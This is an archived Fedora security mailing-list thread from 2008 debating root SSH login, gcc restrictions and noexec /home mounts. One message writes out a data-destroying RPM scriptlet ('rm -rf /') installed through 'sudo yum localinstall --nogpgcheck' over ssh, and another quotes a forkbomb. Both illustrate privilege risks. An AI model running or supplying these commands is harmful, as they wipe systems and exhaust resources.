From riley.marquis at tcsresearch.org Sat Jan 5 01:55:49 2008 From: riley.marquis at tcsresearch.org (riley.marquis at tcsresearch.org) Date: Fri, 4 Jan 2008 17:55:49 -0800 (PST) Subject: Security Changes For Fedora 9 In-Reply-To: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> Message-ID: <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> It appears as if I have fallen behind the times in terms of Linux security. I apologize for not keeping up. =) I'd like to take a moment to ask a few questions so that I can better understand the reasoning behind certain changes being a bad idea, and thus become more knowledgeable. 2: /etc/ssh/sshd_config change In regards to changing PermitRootLogin to no, we'd obviously need a regular user account to login to, then su to root. Thus, even one who has the root account and password would need a regular user name and password before the root account would do him any good. However, perhaps there is a downside to this as well? Or perhaps we don't change any defaults from upstream OpenSSH unless absolutely necessary? I'm sure there are those who want to login as root, and those who don't. Just curious about the reasoning... In regards to the GCC lockdowns, it was my understanding that sometimes hackers use our own compilers against us by logging in as a normal user, using gcc to build their hacktools, and then using the built tools to compromise root. Is this something that is no longer done? Just curious. Thanks in advance! Riley From kevin at tummy.com Sat Jan 5 21:57:44 2008 From: kevin at tummy.com (Kevin Fenzi) Date: Sat, 5 Jan 2008 14:57:44 -0700 Subject: Security Changes For Fedora 9 In-Reply-To: <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> Message-ID: <20080105145744.60fa1579@ghistelwchlohm.scrye.com> On Fri, 4 Jan 2008 17:55:49 -0800 (PST) riley.marquis at tcsresearch.org wrote: > It appears as if I have fallen behind the times in terms of Linux > security. I apologize for not keeping up. =) No worries. ;) > > I'd like to take a moment to ask a few questions so that I can better > understand the reasoning behind certain changes being a bad idea, and > thus become more knowledgeable. > > 2: /etc/ssh/sshd_config change > In regards to changing PermitRootLogin to no, we'd obviously need a > regular user account to login to, then su to root. Thus, even one who > has the root account and password would need a regular user name and > password before the root account would do him any good. However, > perhaps there is a downside to this as well? Or perhaps we don't > change any defaults from upstream OpenSSH unless absolutely > necessary? I'm sure there are those who want to login as root, and > those who don't. Just curious about the reasoning... Well, as you say, you need to make sure we force the user to make a regular account first, currently thats not being done. You can do a new install and not create a user account. I find root ssh login handy for a number of reasons: - You can have some family member or friend who trusts you to fix their linux install allow your ssh key to login as root, then you never need to know any passwords on their system or have a useless normal account there. - It's nice to be able to do for automated tasks (like say installing a single new package on 20 machines without having to login and sudo on each). I wouldn't be opposed to disabling it if it was possible to re-enable for folks who wanted it and we made sure there was always a way to get in via a user account. We just basically need to make sure everything is in place before doing anything like disabling root logins. > > In regards to the GCC lockdowns, it was my understanding that > sometimes hackers use our own compilers against us by logging in as a > normal user, using gcc to build their hacktools, and then using the > built tools to compromise root. Is this something that is no longer > done? Just curious. Sure, but disabling compiling for all the legit users is a bit like throwing out the baby with the bathwater. > > Thanks in advance! > Riley kevin -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From metcalfegreg at qwest.net Sat Jan 5 22:36:07 2008 From: metcalfegreg at qwest.net (Greg Metcalfe) Date: Sat, 5 Jan 2008 14:36:07 -0800 Subject: Security Changes For Fedora 9 In-Reply-To: <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> Message-ID: <200801051436.07229.metcalfegreg@qwest.net> On Friday 04 January 2008 05:55:49 pm riley.marquis at tcsresearch.org wrote: > In regards to the GCC lockdowns, it was my understanding that sometimes > hackers use our own compilers against us by logging in as a normal user, > using gcc to build their hacktools, and then using the built tools to > compromise root. ?Is this something that is no longer done? ?Just curious. It's still done, but it's not really common. The system is probably going to have Python, Perl, or both if it's anything but a very stripped-down box. That's something normally seen only in some sort of high-security context, where Fedora really wouldn't be the distro of choice. The level of pain in removing either of these would be large, considering the Python-based admin tools, Python being used in support of HP printers (if hesiod is still used), Perl being used for LogWatch, etc. Given that level of pain, an attacker can have high confidence in the interpreters being present, and can use either language to write something like a simplistic HTTP client, and in turn download whatever cracking tools you need. That's assuming you can't grab them with more conventional tools, such as ftp, wget, curl, scp, etc., which are also highly likely to be present. About the only defense against that is to disallow originating connections from the system via firewall. Again, not something you'd commonly see on a Fedora installation. In summary, if this level of protection were required, you a) likely would not be using Fedora, and b) would have many other tools to remove first, in security cost/benefit order. From thoger at redhat.com Mon Jan 7 15:56:45 2008 From: thoger at redhat.com (Tomas Hoger) Date: Mon, 7 Jan 2008 16:56:45 +0100 Subject: Security Changes For Fedora 9 In-Reply-To: <20080105145744.60fa1579@ghistelwchlohm.scrye.com> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> <20080105145744.60fa1579@ghistelwchlohm.scrye.com> Message-ID: <20080107165645.5411a70b@dhcp-lab-172.englab.brq.redhat.com> On Sat, 5 Jan 2008 14:57:44 -0700 Kevin Fenzi wrote: > Well, as you say, you need to make sure we force the user to make a > regular account first, currently thats not being done. You can do a > new install and not create a user account. Problem is that you can not create unprivileged account in the installer, IIRC. You are asked whether you want to create normal user by firstboot, after system was rebooted. But that screen is usually not seen by users doing kickstart or vnc installation, as was pointed out by Tomas Mraz. So changing the default value to 'no' would mean that those users will have no way to log into newly installed systems (assuming those methods are frequently used for remote installs with no or limited physical access). But yes, it's usually good idea to change that value once you have normal account configured. > I find root ssh login handy for a number of reasons: > - You can have some family member or friend who trusts you to fix > their linux install allow your ssh key to login as root, then you > never need to know any passwords on their system or have a useless > normal account there. You may want to look at: PermitRootLogin without-password and/or forced-commands-only > > In regards to the GCC lockdowns, it was my understanding that > > sometimes hackers use our own compilers against us by logging in as > > a normal user, using gcc to build their hacktools, and then using > > the built tools to compromise root. Is this something that is no > > longer done? Just curious. As explained in other reply, with bunch of interpreters installed, this "hole" is quite hard to plug and probably not worth the effort / trouble. And if an attacker is able to download sources of his hacktools to your computer, he can probably download binaries as well. Given the small benefits of such change, this probably won't happen soon. -- Tomas Hoger From dpullman at nist.gov Mon Jan 7 17:59:57 2008 From: dpullman at nist.gov (David Pullman) Date: Mon, 07 Jan 2008 12:59:57 -0500 Subject: Security Changes For Fedora 9 In-Reply-To: <20080107165645.5411a70b@dhcp-lab-172.englab.brq.redhat.com> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> <20080105145744.60fa1579@ghistelwchlohm.scrye.com> <20080107165645.5411a70b@dhcp-lab-172.englab.brq.redhat.com> Message-ID: <4782689D.4090909@nist.gov> Tomas Hoger wrote: > On Sat, 5 Jan 2008 14:57:44 -0700 Kevin Fenzi wrote: > >> Well, as you say, you need to make sure we force the user to make a >> regular account first, currently thats not being done. You can do a >> new install and not create a user account. > > Problem is that you can not create unprivileged account in the > installer, IIRC. You are asked whether you want to create normal user > by firstboot, after system was rebooted. But that screen is usually > not seen by users doing kickstart or vnc installation, as was pointed > out by Tomas Mraz. So changing the default value to 'no' would mean > that those users will have no way to log into newly installed systems > (assuming those methods are frequently used for remote installs with > no or limited physical access). Please note that some installations, like ours, would not configure local accounts at all, whether during Kickstart or manual install. We use network accounts (LDAP), and we use ssh keys installed for root for administration. So please don't say things like "you need to make sure we force the user to make a regular account first", because that is not always the case. Perhaps in a small office/home installation these are good points, but not in larger installs with network authentication. We have dozens and dozens of installs on a network used by researchers and we reinstall often and use network authentication, etc. If you are going to consider this sort of thing, please make sure there is a switch somewhere so it doesn't break large site installations. Thanks very much. -- David Pullman Systems Administrator Manufacturing Engineering Laboratory National Institute of Standards & Technology Mail Stop 8203 100 Bureau Drive Gaithersburg, MD 20899-8203 Tel: (301) 975-5385 Fax: (301) 926-3842 E-mail: david.pullman at nist.gov From metcalfegreg at qwest.net Wed Jan 9 23:20:31 2008 From: metcalfegreg at qwest.net (Greg Metcalfe) Date: Wed, 9 Jan 2008 15:20:31 -0800 Subject: noexec mount points Message-ID: <200801091520.31276.metcalfegreg@qwest.net> Is anyone thinking about providing an install option for mounting /home (or individual directories under /home) and/or /root noexec? Fedora seems slanted more and more toward people that don't write code, have no real idea of security, etc. I'm OK with that, but IMHO, it's only a matter of time before dropping malicious executables into /home/$USER becomes a serious problem. Linux desktops don't have to achieve World Domination for this to become an issue. This needn't be a major inconvenience to coders, even if it was the default. The principle of least privilege should at least be considered--that's why it's considered a principle, instead of, say, a vague idea. Considerable damage can be done (from a privacy perspective, if nothing else) by grabbing user files--rooting the box isn't required. I, for one, don't like the idea of my address book escaping, and I would regard that as _minimal_ damage. If you're doing ssh, rsync, etc., via keys in /home/$USER/.ssh the possibility of escalating this into hugely damaging attacks on sensitive hosts exists. Let's not forget the common case of a home network sitting behind a broadband router, with a DMZ machine hosting sshd, httpd, etc., and another on a protected LAN doing desktop duty. I would consider that the minimal configuration to protect, not a single desktop machine with (possibly) multiple users under $HOME, if it can possibly be done without making things hopelessly complex for Aunt Ethel (mail, Web, plays music, and ?*) installing onto a single machine. What would the ROI be on doing this? The 'R' seems very large, particularly as many are switching to Linux for security reasons. Does anyone have a clear idea of what the 'I' would be? Factors to consider would include things an Aunt Ethel user might typically do, which would require /home/$USER to allow executables, not just installer changes. * Does anyone have any user surveys on what Aunt Ethel actually uses her machine for, or are we operating in a vacuum? I'd like to see some links, if anyone has any. I strongly doubt I'm a typical user. From metcalfegreg at qwest.net Thu Jan 10 02:09:49 2008 From: metcalfegreg at qwest.net (Greg Metcalfe) Date: Wed, 9 Jan 2008 18:09:49 -0800 Subject: Security Changes For Fedora 9 In-Reply-To: <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> Message-ID: <200801091809.49189.metcalfegreg@qwest.net> On Friday 04 January 2008 05:55:49 pm riley.marquis at tcsresearch.org wrote: > In regards to the GCC lockdowns, it was my understanding that sometimes > hackers use our own compilers against us by logging in as a normal user, > using gcc to build their hacktools, and then using the built tools to > compromise root. ?Is this something that is no longer done? ?Just curious. A bit of data (a means of gathering your own, actually, in the form of a quick-and-dirty bash script) behind my opinion that it's not really worthwhile to restrict gcc, due to a plethora of interpreters. If there are any doubters, please read it over (including relevant man pages) and form your own conclusions about whether it's both useful, and safe to run. I'd like to think that this is a dead issue, but I've not heard back from riley (who raised the point) saying that he buys into the explanation. So, to me, resolution is still in limbo. Much like a bug report, I'd be happier if all concerned parties agreed that it was closed. Plus, I want to clear everyone's minds, while I create my own furor and flamage. I'm all on about noexec mount points, as per my first (original) post earlier today. That's a discussion which will no doubt end in tears. It's been held for years, but IMHO, it's becoming increasingly relevant. #!/bin/bash # Filename: int (interpreters) # Tested on: Fedora 7, RHEL 5.0 # Warnings: # 1) This isn't really the way to write bash. It's highly # simplistic, on the assumption that some who may want to run # it may have zero programming experience, but are (justifiably) # hesitant to run code they've received through a mailing list. # This is my attempt to make it understandable, and more # trustworthy, by reading a few man pages. # 2) This doesn't consider all possible interpreters--only bash, # perl, and python. A typical Fedora install will have several # others. Even a minimal (as defined by installer) RHEL or RHAS # will have others. Ex: awk, though not a shell, is interpreted. # There are also various restricted shells, such as escapes from # from vi, sendmail /usr/sbin/smrsh, etc., which have presented # problems in the past. /etc/shells isn't intended to list # these, and doesn't. # hostname and kernel release uname -nr echo # output a blank line as a spacer # Eliminate self-referential Perl packages via grep. Paste # rpm -q --whatrequires perl | sort -u # into a command line to see a list of Perl software that depends # upon the basic Perl package. rpm -q --whatrequires perl | grep -v '^perl-' | sort -u echo # repeat spacer # Python packages aren't so self-referential, so no grep. But # the list of admin tools many users will need is striking. To # see that list, paste # rpm -q --whatrequires python | grep 'system-config-' | sort -u # into a command line. rpm -q --whatrequires python | sort -u echo # repeat spacer # Report software versions we're using /bin/bash --version | head -n 1 /bin/uname --version | head -n 1 /bin/echo --version | head -n 1 /bin/rpm --version | head -n 1 /bin/grep --version | head -n 1 /bin/sort --version | head -n 1 From ville.skytta at iki.fi Thu Jan 10 21:26:19 2008 From: ville.skytta at iki.fi (Ville =?utf-8?q?Skytt=C3=A4?=) Date: Thu, 10 Jan 2008 23:26:19 +0200 Subject: Security Changes For Fedora 9 In-Reply-To: <20080105145744.60fa1579@ghistelwchlohm.scrye.com> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> <20080105145744.60fa1579@ghistelwchlohm.scrye.com> Message-ID: <200801102326.20006.ville.skytta@iki.fi> On Saturday 05 January 2008, Kevin Fenzi wrote: > > I find root ssh login handy for a number of reasons: [...] > - It's nice to be able to do for automated tasks (like say installing a > single new package on 20 machines without having to login and sudo on > each). "ssh -t $host sudo yum install $package" works for me... From ville.skytta at iki.fi Thu Jan 10 21:35:09 2008 From: ville.skytta at iki.fi (Ville =?iso-8859-1?q?Skytt=E4?=) Date: Thu, 10 Jan 2008 23:35:09 +0200 Subject: CVE to Bugzilla Greasemonkey script Message-ID: <200801102335.10275.ville.skytta@iki.fi> Hi, In case someone finds it useful - I wrote a small Greasemonkey script that finds CVE-xxxx-xxxx strings in loaded web pages and places links to https://bugzilla.redhat.com/show_bug.cgi?id=CVE-xxxx-xxxx next to them. I use it for quickly checking whether some CVE I come accross somewhere has already been filed in Bugzilla. http://scop.fedorapeople.org/scripts/cvebz.user.js http://www.greasespot.net/ Known issue, patches welcome: these links don't get added in Google Reader's UI. From eric.rannaud at gmail.com Mon Jan 14 19:16:10 2008 From: eric.rannaud at gmail.com (Eric Rannaud) Date: Mon, 14 Jan 2008 20:16:10 +0100 Subject: Security Changes For Fedora 9 In-Reply-To: <200801102326.20006.ville.skytta@iki.fi> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <4859.69.12.180.205.1199498149.squirrel@webmail.tcsresearch.org> <20080105145744.60fa1579@ghistelwchlohm.scrye.com> <200801102326.20006.ville.skytta@iki.fi> Message-ID: <5f3c152b0801141116x488edb41t6987b4de0837cbb6@mail.gmail.com> On Jan 10, 2008 10:26 PM, Ville Skytt? wrote: > On Saturday 05 January 2008, Kevin Fenzi wrote: > > > > I find root ssh login handy for a number of reasons: > [...] > > - It's nice to be able to do for automated tasks (like say installing a > > single new package on 20 machines without having to login and sudo on > > each). > > "ssh -t $host sudo yum install $package" works for me... What about (supposing I know the password of non-root user 'foo', and assuming that 'foo' can sudo yum): [hacker at tooeasy]$ rpm -q --scripts hacker_pkg.rpm postinstall scriptlet (using /bin/sh): rm -rf / exit 0 [hacker at tooeasy]$ scp -p hackers_pkg.rpm foo at host: [hacker at tooeasy]$ ssh -t foo at host sudo yum localinstall --nogpgcheck ./hackers_pkg.rpm Am I wrong in assuming that yum is not necessarily a safe command to be used with sudo? Or more exactly, that there is no point in blocking root ssh logins if you're going to let a user that can login remotely use sudo on yum? Thanks. From ville.skytta at iki.fi Mon Jan 14 20:48:55 2008 From: ville.skytta at iki.fi (Ville =?iso-8859-1?q?Skytt=E4?=) Date: Mon, 14 Jan 2008 22:48:55 +0200 Subject: Security Changes For Fedora 9 In-Reply-To: <5f3c152b0801141116x488edb41t6987b4de0837cbb6@mail.gmail.com> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <200801102326.20006.ville.skytta@iki.fi> <5f3c152b0801141116x488edb41t6987b4de0837cbb6@mail.gmail.com> Message-ID: <200801142248.56650.ville.skytta@iki.fi> On Monday 14 January 2008, Eric Rannaud wrote: > On Jan 10, 2008 10:26 PM, Ville Skytt? wrote: > > On Saturday 05 January 2008, Kevin Fenzi wrote: > > > I find root ssh login handy for a number of reasons: > > > > [...] > > > > > - It's nice to be able to do for automated tasks (like say installing a > > > single new package on 20 machines without having to login and sudo on > > > each). > > > > "ssh -t $host sudo yum install $package" works for me... > > What about (supposing I know the password of non-root user 'foo', and > assuming that 'foo' can sudo yum): > > [hacker at tooeasy]$ rpm -q --scripts hacker_pkg.rpm > postinstall scriptlet (using /bin/sh): > rm -rf / > exit 0 > [hacker at tooeasy]$ scp -p hackers_pkg.rpm foo at host: > [hacker at tooeasy]$ ssh -t foo at host sudo yum localinstall --nogpgcheck > ./hackers_pkg.rpm > > Am I wrong in assuming that yum is not necessarily a safe command to > be used with sudo? Not at all. > Or more exactly, that there is no point in blocking > root ssh logins if you're going to let a user that can login remotely > use sudo on yum? Well, I was responding to the "convenience of automation" part, demonstrating that root SSH access is not needed for that, it can be done pretty much as easily with sudo; not to the security aspects per se. But I suppose using an arbitrary username for those tasks instead of root and blocking direct root SSH (with password authentication) could make things somewhat harder for brute forcers. From metcalfegreg at qwest.net Mon Jan 14 20:57:45 2008 From: metcalfegreg at qwest.net (Greg Metcalfe) Date: Mon, 14 Jan 2008 12:57:45 -0800 Subject: Security Changes For Fedora 9 In-Reply-To: <5f3c152b0801141116x488edb41t6987b4de0837cbb6@mail.gmail.com> References: <2965.69.12.180.205.1198207769.squirrel@webmail.tcsresearch.org> <200801102326.20006.ville.skytta@iki.fi> <5f3c152b0801141116x488edb41t6987b4de0837cbb6@mail.gmail.com> Message-ID: <200801141257.45789.metcalfegreg@qwest.net> On Monday 14 January 2008 11:16:10 am Eric Rannaud wrote: > On Jan 10, 2008 10:26 PM, Ville Skytt? wrote: > > On Saturday 05 January 2008, Kevin Fenzi wrote: > > > I find root ssh login handy for a number of reasons: > > > > [...] > > > > > - It's nice to be able to do for automated tasks (like say installing a > > > single new package on 20 machines without having to login and sudo on > > > each). > > > > "ssh -t $host sudo yum install $package" works for me... > > What about (supposing I know the password of non-root user 'foo', and > assuming that 'foo' can sudo yum): > > [hacker at tooeasy]$ rpm -q --scripts hacker_pkg.rpm > postinstall scriptlet (using /bin/sh): > rm -rf / > exit 0 > [hacker at tooeasy]$ scp -p hackers_pkg.rpm foo at host: > [hacker at tooeasy]$ ssh -t foo at host sudo yum localinstall --nogpgcheck > ./hackers_pkg.rpm > > > Am I wrong in assuming that yum is not necessarily a safe command to > be used with sudo? Or more exactly, that there is no point in blocking > root ssh logins if you're going to let a user that can login remotely > use sudo on yum? > > Thanks. > Scary. At first glance it looks like a successful attack. But that wouldn't really be unusual. If your authentication model is based upon passwords, and passwords escape, security is largely out the window. Using a wheel group, etc., can make things tougher, but once you have a bad guy on the system, escalation of privilege attacks are a probability, not a possibility. And they're usually an order of magnitude (at least) easier. Authorization seldom gets the attention that authentication does. That's one reason (but not the major one) that I was asking about whether anyone was thinking about mounting /home noexec. It at least adds an extra authorization layer (though you still have to pay attention to authorization, to prevent attacks in the same vein as the one you've described), in making it harder to do things such as launching a dead-simple (`$0 & $0 &`) forkbomb attack at a critical moment (which can be devastating, depending upon how you have /etc/security/limits.conf set up). The up side is that everyone should be on shadowed passwords, and random bad guys with a user account can't run cracking software against /etc/passwd. The downside is that if you have an undetected bad guy on the system, you will probably lose, in the end. If your attack fails, another will be found. If it's an order of magnitude easier for the bad guy, it's an order of magnitude worse for the admin. If you were 100% confident (hubris) of protecting the sytem before, you should now be 10% confident. Assuming you're going to allow multiple users: If you're going to base everything around passwords, at least read man(1) chage, beware of shoulder-surfing, etc. If you're doing keys, protect your ~/.ssh. If you're doing two-factor, check out your vendor--some fingerprint scanners have been trivially defeated in the past, etc. If thou should lose the Mighty Authentication Battle, thou whilst surely find thyself Groveling Amongst Backups. > -- > Fedora-security-list mailing list > Fedora-security-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-security-list From sundaram at fedoraproject.org Thu Jan 31 14:08:14 2008 From: sundaram at fedoraproject.org (Rahul Sundaram) Date: Thu, 31 Jan 2008 19:38:14 +0530 Subject: Introducing security hardening features for Lenny Message-ID: <47A1D64E.7000303@fedoraproject.org> Hi Debian is mostly playing catch-up here but a look at it might reveal new areas to cover http://lwn.net/Articles/267190/ Rahul